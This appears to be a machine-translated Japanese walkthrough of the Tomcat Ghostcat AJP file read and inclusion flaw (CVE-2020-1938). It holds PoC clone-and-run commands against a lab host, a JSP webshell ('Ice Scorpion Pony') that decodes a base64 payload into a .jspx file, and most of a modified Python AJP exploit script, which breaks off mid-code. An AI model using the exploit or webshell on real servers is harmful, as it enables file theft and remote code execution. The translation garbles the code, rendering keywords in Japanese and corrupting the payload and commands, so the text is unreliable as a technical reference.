Jump to content

1。脆弱性の説明

Apache Tomcatは、Apache Software Foundationの下でJakartaプロジェクトによって開発されたサーブレットコンテナです。デフォルトでは、Apache Tomcatは、AJPコネクタがAJPプロトコルを介して他のWebサーバーとの相互作用を促進できるようにします。ただし、Apache TomcatのAJPプロトコルの実装には脆弱性があります。これにより、攻撃者は悪意のあるAJPリクエストを送信することにより、Webアプリケーションのルートディレクトリにファイルを読み取るか、含めることができます。任意のフォーマットファイルがファイルにアップロードされている場合、任意のコード実行(RCE)につながる可能性があります。この脆弱性は、AJPサービスポートを利用して攻撃を実装します。 AJPサービスが有効になっていない場合、AJPサービスは脆弱性の影響を受けません(Tomcatは、デフォルトでAJPサービスを0.0.0.0/0に有効にします)。

2。危険レベル

高リスク

3。抜け穴の危険

攻撃者は、すべてのTomcat WebAppディレクトリの下で任意のファイルを読み取ることができます。さらに、Webサイトアプリケーションがファイルアップロード機能を提供する場合、攻撃者は最初に悪意のあるJSPスクリプトコードを含むファイルをサーバーにアップロードできます(アップロードされたファイル自体は、画像、プレーンテキストファイルなど、あらゆるタイプのファイルになります)。

iv。影響の範囲

Apache Tomcat 9.x 9.0.31

Apache Tomcat 8.x 8.5.51

Apache Tomcat 7.x 7.0.100

Apache Tomcat 6.x

5。前提条件

脆弱性インパクトバージョンの範囲内にあるTomcatの場合、AJPコネクタを有効にし、攻撃者がAJPコネクタサービスポートにアクセスできる場合、GhostCatの脆弱性に悪用されるリスクがあります。注tomcat AJPコネクタは、デフォルトの構成で有効になり、リスニングは0.0.0.0:8009です。

vi。脆弱性の原則

Tomcatには2つのコネクタがあります。つまり、HTTPとAJP:デフォルトのHTTPポートは8080です。これはHTTP要求を処理しますが、AJPデフォルトポート8009はAJPプロトコルからのリクエストを処理するために使用されます。 AJPはHTTPよりも最適化されており、主に逆、クラスタリングなどに使用されます。脆弱性は、TOMCAT AJPプロトコルの欠陥によって引き起こされます。攻撃者は、この脆弱性を使用して、特定のパラメーターを構築することにより、サーバーWebAppの下の任意のファイルを読み取ることができ、任意のファイルを含めることができます。特定のアップロードポイント、写真馬のアップロードなどがある場合は、シェルを入手できます

7。脆弱性分析

1。脆弱性原因分析:Tomcatのデフォルトのconf/server.xmlは2つのコネクタで構成されています。1つは8080の外部HTTPプロトコルポート、もう1つはデフォルトの8009 AJPプロトコルポートです。両方のポートは、デフォルトで外部ネットワークIPで監視されます。

下の図に示すように:

rmhxomyba5x7890.png

tomcatはorg.apache.coyote.ajp.ajpprocessorに電話して、AJPリクエストを受信するときにAJPメッセージを処理します。 PreperereQuestはAJPのコンテンツを取り出し、リクエストオブジェクトの属性プロパティに設定します。

下の図に示すように:

apivzcvci5d7891.png

したがって、この機能は、リクエストオブジェクトの次の3つの属性属性を制御するために使用できます

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

次に、対応するリクエストにカプセル化した後、下の図に示すようにサーブレットマッピングプロセスに従ってください。

u5djmms1ry27892.png

特定のマッピング方法は簡単です。自分でコードを表示できます。

2。UtilizationMethod :(1)、DefaultServletを使用して任意のファイルのダウンロードを実現します

URL要求がマッピングされたURLリストにない場合、以下の図に示すように、上記の3つのプロパティに従ってTomcatのデフォルトのデフォルトサーブレットが読み取られます。

llaeqgp2o5v7893.png

ServerSourceメソッドを介してリソースファイルを取得します

bskwchhcfbr7894.png

getRelativePathを介してリソースファイルパスを取得します

d4un0bbfi2f7895.png

次に、AJPによって制御される上記の3つの属性を制御することにより、ファイルが読み取られます。上記の3つの属性を操作することにより、クラス、XML、JAR、その他のファイルに限定されない /Web-INFの下のすべての機密ファイルを読み取ることができます。

(2)jspservletを介して接尾辞ファイルの包含を実装します

URL(http://xxx/xxx/xxx.jspなど)がorg.apache.jasper.servlet.jspservletサーブレットでマッピングする場合、図:に示すように上記の3つの属性を介してアクセスしたJSPファイルも制御できます。

joxolkvzmjh7896.png

パスを制御した後、ファイルはJSPで解析できます。そのため、RCEを実装するには、制御可能なファイルコンテンツを備えたファイルのみが必要です。

8。脆弱性の再発

1。環境準備(1)。 Windowsの下で繁殖する脆弱性の環境の準備、ここではTomcat-8.5.32が例として使用されます。

https://github.com/backlion/cve-2020-1938/blob/master/apache-tomcat-8.5.32.zip

(2)JDKをインストールし、JDK環境を構成します

(3)その後、Tomcatを起動し、Tomcat Directory/Bin Folderの[起動]をクリックします。

tb1kgkdve4q7897.png

2。脆弱性の複製と利用(1)、任意のファイルを読む(WebAppsディレクトリのファイルをここで読むことができます)

root@kali2019:〜#git clone https://github.com/ydhcui/cnvd-2020-10487-tomcat-ajp-lfi

root@kali2019:〜#cd cnvd-2020-10487-tomcat-ajp-lfi/

root@kali2019:〜/cnvd-2020-10487-tomcat-ajp-lfi#chmod +x cnvd-2020-10487-tomcat-ajp-lfi.py

root@kali2019:〜/cnvd-2020-10487-tomcat-ajp-lfi#python cnvd-20-10487-tomcat-ajp-lfi.py192.168.1.9 -p 8009 -f web-inf/web-inf.xml

z0msc5htjgi7898.pngROOT@KALI2019:〜/CNVD-2020-10487-TOMCAT-AJP-LFI#PYTHON CNVD-2020-10487-TOMCAT-AJP-LFI.PY 192.168.1.9 -8009 -F -F INDEX.JSP

pomoqg4n31x7899.png509ROOT@KALI2019:〜/CNVD-2020-10487-TOMCAT-AJP-LFI#PYTHON CNVD-2020-10487-TOMCAT-AJP-LFI.PY 192.168.1.9 -8009 -F -F TEST.TXT

j15eay5d2rk7900.png2。任意のファイルには以下が含まれます:(これは少し役に立たないので、含めるにはファイルコンテンツをアップロードする必要があります)(1)最初に含める必要があるJSPファイルコードをアップロードします。これがIce Scorpion Pony(test.txt)です

以下は、test.txtファイルをルートディレクトリにアップロードするためです(脆弱性のデモンストレーションのために、このディレクトリにファイルを直接アップロードします。実際の環境では、ファイルのアップロード、TXTファイルのアップロード、脆弱性のエクスプロードを介してファイルを脆弱性にアップロードできます)

cpqfvkkdczi7901.png

test.txtファイルコンテンツ:

jsp:root xmlns:jsp='http://java.sun.com/jsp/page' xmlns='http://www.w3.org/1999/xhtml' xmlns:c='http://java.sun.com.sun.com.sun.com.sun.com.sun.com

jsp:directive.page contentType='text/html' pageencoding='utf-8'/

jsp:directive.page import='java.io。*'/

JSP:Directive.Page Import='Sun.Misc.Base64Decoder'/

htmlheadtitlefuck/title/head

ボディbgcolor='#ffffff'

//MIMA:PASS

jsp:scriptlet![cdata [

string realpath=request.getRealPath(request.getRequesturi());

文字列dir=new file(realpath).getParent();

string strpath=dir+'/t00ls.jspx';

ファイルstrfile=new file(strpath);

boolean filecreated=strfile.createNewfile();

ライターJSPX=new BufferedWriter(new FileWriter(Strfile));

文字列TMP='PGPZCDPYB290IHHTBG5ZOMPZCD0IAHR0CDOVL2PHDMEUC3VULMNVBS9KU1AVUGFNZSIGDMVYC2LVBJ0IMS4YIJ48ANNWOMRPCMVJDGL2ZS5WYWDLIGLTCG9YDD0IA Mf2ys51dglsliosamf2yxguy3j5chrvliosamf22yxguy3j5chrvlnnwzwmukiivpjxqc3a6zgvjbgfyyxrpb24+ingsyxnzifugzxh0zwzw5kcybdbgfzc0xvywrlcntvk ensyxnztg9hzgvyigmpe3n1cgvykgmpo31wdwjsawmgq2xhc3mgzyhiexrliftdyil7cmv0dxjuihihihihihihihihihihihihihihihihlmrmrlzmluzunsyxnzkgismcxilmxlbmd07fx08l2pz cdpkzwnsyxjhdglvbj48annwonnjcmmlwdgxldd5pzihyzxf1zxn0lmdldfhcmftzxrlciggfzcyipit1udwxskxtdhjpbmcgaz0oiiilmmjvulelnjhbmbvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv suqokskucmvwbgfjzsgilsiiiplnn1ynn0cmluzygxnik7c2vzc2lvbi5wdxrwywx1zsgidsisayk7b3v0lnbyaw50kgspo3jldhvybjt9q2lwagvyigm9q2lwagv ylmdldeluc3rhbmnlkcjbrvmikttjlmluaxqomixuzxcgu2vjcmv0s2v55u3blyygoc2vzc2lvbi5nzxrwywx1zsgidsipjtjtjtjtjtjtjtjiiptt uzxcgvsh0aglzlmdldensyxnzkkuz2v0q2xhc3nmb2fkzxiokskuzyhlmrvrvrmluywwobmv3ihn1bi5taxnjlkjbu0u2nelly29kzioks5knvnvzgnvzgnvzをvxdwvzdc5nzxrszwfkzxioks5yzwfktgluzsgpkskplm5ld0luc3rhbmnlkckuzx F1YWXZKHBHZ2VDB250ZXH0KTS8L2PZCDPZY3JPCHRSZXQ+PCC3A6CM9VDD4=';

string str=new String((new Base64Decoder())。DecodeBuffer(TMP));

string estr=java.net.urldecoder.decode(str);

jspx.write(estr);

jspx.flush();

jspx.close();

out.println(strpath);

]]/jsp:scriptlet

/体

/HTML

/jsp:root

(2)テストはtest.txtに直接アクセスできます

http://192.168.1.9:8080/test.txt

(3)POCを変更する必要があり、「/asdf」が「/asdf.jspx」に含まれています

https://github.com/backlion/cnvd-2020-10487-tomcat-ajp-lfi/blob/master/cnvd-2020-10487-tomcat-ajp-lfi.py

変更されたコードは次のとおりです。

#!/usr/bin/env python

#cnvd-2020-10487 tomcat-ajp lfi

#by ydhcui

インポート構造

#いくつかの参照:

#https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

def pack_string(s):

sがne:の場合

return struct.pack( 'h'、-1)

l=len(s)

return struct.pack( 'h%dsb'%l、l、s.encode( 'utf8')、0)

def unpack(stream、fmt):

size=struct.calcsize(fmt)

buf=stream.read(size)

return struct.unpack(fmt、buf)

def upack_string(stream):

サイズ、=アンパック(ストリーム、 'h')

if size==-1:#null文字列

なしなし

res、=unpack(stream、 '%ds'%size)

stream.read(1)#\ 0

RESを返します

クラスNotFoundException(例外):

合格

クラスAJPBodyRequest(オブジェクト):

#サーバー==webサーバー、container==サーブレット

server_to_container、container_to_server=range(2)

max_request_length=8186

def __init __(self、data_stream、data_len、data_direction=none):

self.data_stream=data_stream

self.data_len=data_len

self.data_direction=data_direction

def serialize(self):

data=self.data_stream.read(ajpbodyrequest.max_request_length)

Len(data)==0:の場合

return struct.pack( 'bbh'、0x12、0x34、0x00)

else:

res=struct.pack( 'h'、len(data))

RES +=データ

self.data_direction==ajpbodyrequest.server_to_container:の場合

header=struct.pack( 'bbh'、0x12、0x34、len(res))

else:

header=struct.pack( 'bbh'、0x41、0x42、len(res))

Header + Resを返します

def send_and_receive(self、socket、stream):

true:

data=self.serialize()

socket.send(データ)

r=ajpresponse.receive(stream)

while r.prefix_code!=ajpresponse.get_body_chunkおよびr.prefix_code!=ajpresponse.send_headers:

r=ajpresponse.receive(stream)

r.prefix_code==ajpresponse.send_headersまたはlen(data)==4:の場合

壊す

クラスajpforwardRequest(オブジェクト):

_、_、options、get、head、post、put、delete、trace、propfind、proppatch、mkcol、copy、move、lock、lock、unlock、acl、Report、version_control、checkin、checkout、uncheckout、search、mkworkspace、update、labe、merge、baseline_control、mkactivity=range(28)

request_methods={'get': get、' post ': post、 'head ': head、' options ': options、 'put ': put、' delete': delete、 'trace': trace}

#サーバー==webサーバー、container==サーブレット

server_to_container、container_to_server=range(2)

common_headers=['sc_req_accept'、

'sc_req_accept_charset'、 'sc_req_accept_encoding'、 'sc_req_accept_language'、 'sc_req_authorization'、

'sc_req_connection'、 'sc_req_content_type'、 'sc_req_content_length'、 'sc_req_cookie'、 'sc_req_cookie2'、

'sc_req_host'、 'sc_req_pragma'、 'sc_req_referer'、 'sc_req_user_agent'

]

属性=['context'、 'servlet_path'、 'remote_user'、 'auth_type'、 'query_string'、 'route'、 'ssl_cert'、 'ssl_cipher'、 'ssl_session'、 'req_attribute'、 'ssl_key_size'、 'secret _meth_metheize'、

def __init __(self、data_direction=none):

self.prefix_code=0x02

self.method=none

self.protocol=none

self.req_uri=none

self.remote_addr=none

self.remote_host=none

self.server_name=none

self.server_port=none

self.is_ssl=none

self.num_headers=none

self.request_headers=none

self.attributes=none

self.data_direction=data_direction

def pack_headers(self):

self.num_headers=len(self.request_headers)

res=''

res=struct.pack( 'h'、self.num_headers)

hの場合

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...